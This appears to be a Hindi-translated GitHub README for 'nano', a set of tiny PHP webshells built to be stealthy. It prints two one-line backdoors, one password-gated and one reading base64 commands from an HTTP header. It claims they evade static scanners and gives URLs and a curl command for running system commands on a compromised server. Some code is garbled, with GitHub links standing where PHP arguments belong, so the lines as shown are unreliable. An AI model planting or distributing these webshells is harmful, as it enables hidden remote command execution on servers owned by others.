nano

Nano PHP वेबशेल्स का एक परिवार है जो अत्यधिक चुपके और कुशल होने के लिए कोड गोल्फ किए गए हैं।
इसे देखते रहें, शायद मैं यहाँ और वेबशेल्स अपलोड करता रहूंगा।

Nano

<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/master/%24GET_%5Bc%5D);

विशेषताएँ

• आकार में 35 बाइट्स
• स्टेटिक कोड स्कैनर्स द्वारा पहचाना नहीं जा सकता
• प्रमाणीकरण का समर्थन करता है

उपयोग

http://example.com/nano.php?f=function&c=command&p=password

f फ़ंक्शन के लिए है
c कमांड के लिए है
p पासवर्ड के लिए है

उदाहरण के लिए, नीचे दिया गया कोड ls कमांड को निष्पादित करेगा:

http://example.com/nano.php?f=system&c=ls&p=password

Ninja

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/master/%24x%5B1%5D);

विशेषताएँ

• आकार में 93 बाइट्स
• पूरी तरह से अज्ञेय

उपयोग

यह थोड़ा जटिल है।
मान लीजिए आप system(ls) चलाना चाहते हैं तो इसे system~ls लिखें और फिर base64 एनकोड करें यानी c3lzdGVtKGxzKQ==
अब इसकी शुरुआत में कोई 1 वर्ण जोड़ें। मान लें 'x', तो यह xc3lzdGVtKGxzKQ== होगा।
अब अपना टर्मिनल खोलें और निम्नलिखित कमांड टाइप करें
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
बहुत अधिक काम? आप इसके बजाय handler का उपयोग कर सकते हैं।

बाकी सब कुछ

यह मेरी पहली PHP चीज़ है, इसलिए अगर मैंने जो किया उसे बेहतर तरीके से करने का कोई तरीका है तो कृपया मुझे बताएं या पुल रिक्वेस्ट खोलें।
नैनो प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है, जिसका मूल रूप से अर्थ है कि यदि आप इसे पुनर्वितरित या संशोधित करना चाहते हैं तो आपको मुझे श्रेय देना होगा।